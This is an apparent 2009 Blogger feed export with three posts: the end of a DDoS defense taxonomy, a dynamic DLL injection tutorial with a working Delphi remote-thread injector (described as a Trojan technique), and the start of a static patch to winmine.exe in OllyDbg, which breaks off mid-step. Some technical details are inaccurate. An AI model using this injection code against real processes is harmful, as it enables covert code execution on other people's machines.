examples of interdependent mechanisms. A  traceback  mechanism  deployed on  a  single  router  would  provide  almost  no benefit.&lt;br /&gt;&lt;br /&gt;Classification by Deployment Location&lt;br /&gt;&lt;br /&gt;With regard to a deployment location, we differentiate between DDoS mechanisms deployed at the victim, intermediate, or source network.&lt;br /&gt;&lt;br /&gt;Victim-Network Mechanisms&lt;br /&gt;&lt;br /&gt;DDoS defense mechanisms deployed at the victim network protect this network from DDoS attacks and respond to detected attacks by alleviating the impact on the victim. Historically, most defense systems were located at the victim since it suffered the greatest impact of the attack and was therefore the most motivated to sacrifice some resources for increased security. Resource accounting and protocol security mechanisms provide examples of these systems.&lt;br /&gt;&lt;br /&gt;Intermediate-Network Mechanisms&lt;br /&gt;&lt;br /&gt;DDoS defense mechanisms deployed at the intermediate network provide infrastructural service to a large number of Internet hosts. Victims  of  DDoS  attacks  can  contact  the infrastructure  and  request  the  service,  possibly providing adequate compensation. Pushback and traceback techniques are examples of intermediate-network mechanisms.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Source-Network Mechanisms&lt;br /&gt;&lt;br /&gt;The goal of DDoS defense mechanisms deployed at  the  source  network  is  to  prevent  customers using  this  network  from  generating  DDoS attacks.  Such  mechanisms  are  necessary  and desirable, but motivation for their deployment is low  since  it  is  unclear  who  would  pay  the expenses  associated  with  this  service. Mechanisms proposed in provide examples of source-network mechanisms.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;REFRENCE&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;http://www.cert.org/tech_tips/denial_of_service.html&lt;br /&gt;http://www.cert.org/archive/pdf/DoS_trends.pdf&lt;br /&gt;http://www.cert.org/incident_notes/IN-2001-08.html&lt;br /&gt;http://www.cert.org/incident_notes/IN-2001-03.html&lt;br /&gt;http://www.cert.org/incident_notes/IN-2001-01.html&lt;br /&gt;http://www.cs.berkeley.edu/~nweaver/warhol.html&lt;br /&gt;http://www.cert.org/incident_notes/IN-2001-09.html&lt;br /&gt;http://www.cert.org/advisories/CA-2001-26.html&lt;br /&gt;http://www.cert.org/incident_notes/IN-2000-04.html&lt;br /&gt;http://www.cert.org/advisories/CA-1998-01.html&lt;br /&gt;http://www.cisco.com/warp/public/707/newsflash.html&lt;br /&gt;J. D. Howard, "An analysis of security incidents on the Internet,"&lt;br /&gt;F. Kargl, J. Maier and M. Weber, "Protecting web servers from distributed denial of service attacks,"&lt;br /&gt;J. D. Howard and T. A. Longstaff, "A common language for computer security incidents”&lt;br /&gt;http://www.cert.org/research/taxonomy_988667.pdf&lt;br /&gt;S. Axelsson, "Intrusion detection systems: A survey and taxonomy, “&lt;br /&gt;K. Hafner and J. Markoff, Cyberpunk: Outlaws and hackers on the computer frontier&lt;br /&gt;http://www.tripwire.com/products/servers/&lt;br /&gt;http://www.usenix.org/publications/login/2000-7/apropos.html.&lt;br /&gt;M. Franklin and A. Stubblefield, "An algebraic approach to IP Traceback”,&lt;br /&gt;http://search.ietf.org/internet-drafts/draft-ietf-itrace-01.txt, Oct.&lt;br /&gt;RFC 2267,&lt;br /&gt;J. Leiwo, P. Nikander, and T. Aura, "Towards network denial of service resistant protocols&lt;br /&gt;Wikipedia and&lt;br /&gt;Credits-some articles by unknown hackers and my frinds (WAR10RD, DIGITAL, ICEBEAR 64 ETC)&lt;br /&gt; Jelena , Martin and Peter&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-5948925918245501707?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/5948925918245501707/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=5948925918245501707' title='197 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5948925918245501707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5948925918245501707'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2009/06/ddos-attacks-and-ddos-defense_23.html' title='DDoS Attacks and DDoS Defense Mechanisms'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>197</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-4649020136721598354</id><published>2009-04-18T00:09:00.000-07:00</published><updated>2009-04-18T00:16:23.647-07:00</updated><title type='text'>DYNAMIC DLL INJECTION</title><content type='html'>As in my previous post I describe about the static dll injection Now we will look at the dynamic dll injection. which is mostly used by Trojan’s.&lt;br /&gt;After a program has been executed, a process is created in the OS. When an attacker attempts to load code into the process memory space, then the attacker is using dynamic injection. When .dll libraries are loaded through dynamic injection, the process is known as dynamic dll injection.&lt;br /&gt;Loading a .dll into a process.&lt;br /&gt;For this we will install &lt;strong&gt;DiamondCS APM&lt;/strong&gt; (Advanced Process Manipulation).or any other advanced process manipulator just Google it&lt;br /&gt;After installation start APM.&lt;br /&gt;you should see a list of running processes along with their Process ID number as we have seen in our static dll injection post. Select explorer.exe.&lt;br /&gt;Make sure apm.dll is not present.If it is for some strange reason, right click on top of it and select Unload DLL.&lt;br /&gt;Now right click on top of explorer.exe on the APM window and select Load DLL.Now select apm.dll from the APM directory.&lt;br /&gt;It should show success.&lt;br /&gt;Now use PE to make sure the dll has been loaded.&lt;br /&gt;Advanced Process Manipulation lets you load dlls into processes&lt;br /&gt;Injecting dlls dynamically&lt;br /&gt;Microsoft's Platform SDK provides some API calls to manipulate processes. Let's look at a couple of them. Make sure you read it and understand it before proceeding:&lt;br /&gt;&lt;strong&gt;OpenProcess&lt;/strong&gt;: opens an existing process object&lt;br /&gt;&lt;strong&gt;WriteProcessMemory:&lt;/strong&gt;  writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.&lt;br /&gt;&lt;strong&gt;CreateRemoteThread&lt;/strong&gt;:  creates a thread that runs in the virtual address space of another process&lt;br /&gt;&lt;strong&gt;LoadLibrary&lt;/strong&gt;: maps the specified executable module into the address space of the calling process.&lt;br /&gt;&lt;strong&gt;VirtualAllocEx&lt;/strong&gt;: reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;Open a process using &lt;strong&gt;OpenProcess&lt;/strong&gt;. One of the parameters is the Process ID which you can get from using PE from my previous post of static dll injection. Next, Allocate memory using &lt;strong&gt;VirtualAllocEx&lt;/strong&gt; (one of the parameters of &lt;strong&gt;VirtualAllocEx&lt;/strong&gt; will be the process opened by &lt;strong&gt;OpenProcess&lt;/strong&gt;)&lt;br /&gt;Write something into the memory space we allocated within the process. We will pass in the Process into which we want to write, the address of the memory into which we want to write ,the number of bytes to write, and a pointer to the DLL we want to load.&lt;br /&gt;Now we will create a new thread which will call a function. The address of the function is the address of &lt;strong&gt;LoadLibrary&lt;/strong&gt; and as parameters we pass the address of the memory we allocated...so the process will call the code we injected into the process. We do this using &lt;strong&gt;CreateRemoteThread&lt;/strong&gt; and passing in the addresses.&lt;br /&gt;Follows a simple example&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-family:georgia;"&gt;program ddlli;&lt;br /&gt;uses&lt;br /&gt;Windows;&lt;br /&gt;var&lt;br /&gt;PID, BytesWritten, Process, Thread, ThreadId: dword;&lt;br /&gt;Paramaters: pointer;&lt;br /&gt;DLL: pchar;&lt;br /&gt;function xCreateRemoteThread(hProcess: dword; lpThreadAttributes: Pointer; dwStackSize: dword; lpStartAddress: Pointer; lpParameter: Pointer; dwCreationFlags: dword; lpThreadId: dword): dword; stdcall; external 'RT.dll';&lt;br /&gt;function xVirtualAllocEx(hProcess: dword; lpAddress: Pointer; dwSize: dword; flAllocationType: dword; flProtect: dword): Pointer; stdcall; external 'RT.dll';&lt;br /&gt;function xVirtualFreeEx(hProcess: dword; lpAddress: Pointer; dwSize: dword; dwFreeType: dword): boolean; stdcall; external 'RT.dll';&lt;br /&gt;begin&lt;br /&gt;DLL := 'c:\Inject\Library.dll'; //full path!&lt;br /&gt;PID := 1784; //process id!&lt;br /&gt;Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID);&lt;br /&gt;Paramaters := xVirtualAllocEx(Process, nil, 4096, MEM_COMMIT, PAGE_READWRITE);&lt;br /&gt;WriteProcessMemory(Process, Paramaters, Pointer(DLL), 4096, BytesWritten);&lt;br /&gt;Thread := xCreateRemoteThread(Process, nil, 0, GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'), Paramaters, 0, ThreadId);&lt;br /&gt;WaitForSingleObject(Thread, INFINITE);&lt;br /&gt;xVirtualFreeEx(Process, Paramaters, 0, MEM_RELEASE);&lt;br /&gt;CloseHandle(Thread);&lt;br /&gt;CloseHandle(Process);&lt;br /&gt;end.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;As soon as EXE.exe is executed an Internet Explorer window should come up.&lt;br /&gt;The DLL in this example is actually not loaded because we are using Windows XP and there is a security issue with the isBadWritePtr() function. However in earlier versions of Windows it would have injected successfully.&lt;br /&gt;This is all about dynamic dll injection&lt;br /&gt;Reference:&lt;br /&gt;&lt;a href="http://www.microsoft.com/"&gt;www.microsoft.com&lt;/a&gt;&lt;br /&gt;ECE lab manual&lt;br /&gt;www.iamaphex.net (for codes)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-4649020136721598354?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/4649020136721598354/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=4649020136721598354' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4649020136721598354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4649020136721598354'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2009/04/dynamic-dll-injection.html' title='DYNAMIC DLL INJECTION'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-5297656276316185864</id><published>2009-03-17T23:18:00.000-07:00</published><updated>2009-03-18T00:01:34.309-07:00</updated><title type='text'>STATIC DLL INJECTION</title><content type='html'>&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="text-decoration: underline;"&gt;INTRODUCTION&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;DEFINING DLL&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;according to microsof&lt;/span&gt;t&lt;/span&gt; "&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 11px; line-height: 16px; "&gt;A DLL is a library that contains code and data that can be used by more than one program at the same time. For example, in Windows operating systems, the Comdlg32 DLL performs common dialog box related functions. Therefore, each program can use the functionality that is contained in this DLL to implement an &lt;strong class="uiterm" style="-webkit-box-sizing: border-box; "&gt;Open&lt;/strong&gt; dialog box. This helps promote code reuse and efficient memory usage.&lt;br /&gt;&lt;br /&gt;By using a DLL, a program can be modularized into separate components. For example, an accounting program may be sold by module. Each module can be loaded into the main program at run time if that module is installed. Because the modules are separate, the load time of the program is faster, and a module is only loaded when that functionality is requested.&lt;br /&gt;&lt;br /&gt;Additionally, updates are easier to apply to each module without affecting other parts of the program. For example, you may have a payroll program, and the tax rates change each year. When these changes are isolated to a DLL, you can apply an update without needing to build or install the whole program again.&lt;br /&gt;&lt;br /&gt;The following list describes some of the files that are implemented as DLLs in Windows operating systems:&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 11px; line-height: 16px; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;ActiveX Controls (.ocx) files&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 11px; line-height: 16px; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;An example of an ActiveX control is a calendar control that lets you select a date from a calendar.&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 11px; line-height: 16px; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Control Panel (.cpl) files&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 11px; line-height: 16px; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;An example of a .cpl file is an item that is located in Control Panel. Each item is a specialized DLL.&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 11px; line-height: 16px; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Device driver (.drv) files&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 11px; line-height: 16px; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;An example of a device driver is a printer driver that controls the printing to a printer.&lt;/span&gt;" &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 11px; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;let us make this some more clearer than microsoft defination&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 11px; line-height: 16px;"&gt; "&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px; line-height: normal; "&gt; A dynamic link library (DLL) is a collection of small programs, any of which can be called when needed by a larger program that is running in the computer. The small program that lets the larger program communicate with a specific device such as a printer or scanner is often packaged as a DLL program (usually referred to as a DLL file). DLL files that support specific device operation are known as device driver."&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: 13px; font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;DEFINING DLL INJECTION&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px; font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px; font-weight: bold;"&gt;&lt;span style="font-size:12.0pt;font-family:&amp;quot;Times New Roman&amp;quot;; mso-fareast-font-family:Batang;mso-ansi-language:EN-US;mso-fareast-language: KO;mso-bidi-language:AR-SA"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Code and DLL injection refer to a method for attackers to manipulate programs and processes to execute another program.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;DLL injection provides a manner for attributing the malicious .dll to running processes.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Processes are tasks that are being handled by the operating system.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt; &lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;There are two kinds of injection:&lt;/span&gt;&lt;/span&gt; &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Static injection -&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt; Static injection occurs prior to program execution.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Dynamic injection- &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Dynamic injection occurs when processes are loaded into memory.&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="text-decoration: underline;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;HOW TO DO A STATIC DLL INJECTION&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span style="font-size: 12pt; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;A file is altered, by 'injecting' a jump at the beginning of the filespace.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;This jump directs to arbitrary code written by an attacker into available space of the filespace of a program.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;TOOLS WE USE&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span style="font-size: 12pt; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Sysinternal’s &lt;/span&gt;&lt;/span&gt;&lt;i style="mso-bidi-font-style:normal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Process Explorer(PE)&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;OllyDbg&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;NOW INJECTION&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-weight: bold;"&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;We will now explore static code injection.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;For this purpose, we will manipulate the Windows game Mineswipper so that before it runs it displays a message saying “hi HL geeks”&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;First, go to &lt;/span&gt;&lt;/span&gt;&lt;span class="MsoHyperlink"&gt;&lt;a href="file:///C:/WINDOWS/system32"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;C:\WINDOWS\system32&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt; and make a copy of winmine.exe into a file with a different name (for security purpose)&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;In order to manipulate winmine.exe, we will use OllyDbg, “a 32-bit assembler level analysing debugger for Microsoft Windows.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable.”&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span style="font-size: 12pt; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The first time you run OllyDbg you might get a message asking you whether you want to update on the library (.dll) files.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Just say no&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: 12pt; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Click Open, and open winmine.exe.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;What you will get in OllyDbg is assembly code of winmine.exe &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;span style="font-size: 12pt; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;On the right part of the screen you will see the Register values.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The EIP register is a pointer to the next command that will execute.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;In this case it should store the Module Entry Point&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The memory space of winmine.exe contains a lot of useful information, but it also contains areas with no useful information whatsoever.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;These areas are full of noop operations (\x00's).&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;These areas could be modified to add code without corrupting winmine.exe.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt; In OllyDbg, on the left upper window (right below the menu), scroll down until you find a big group of noops put together where you have enough space to add your code.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" 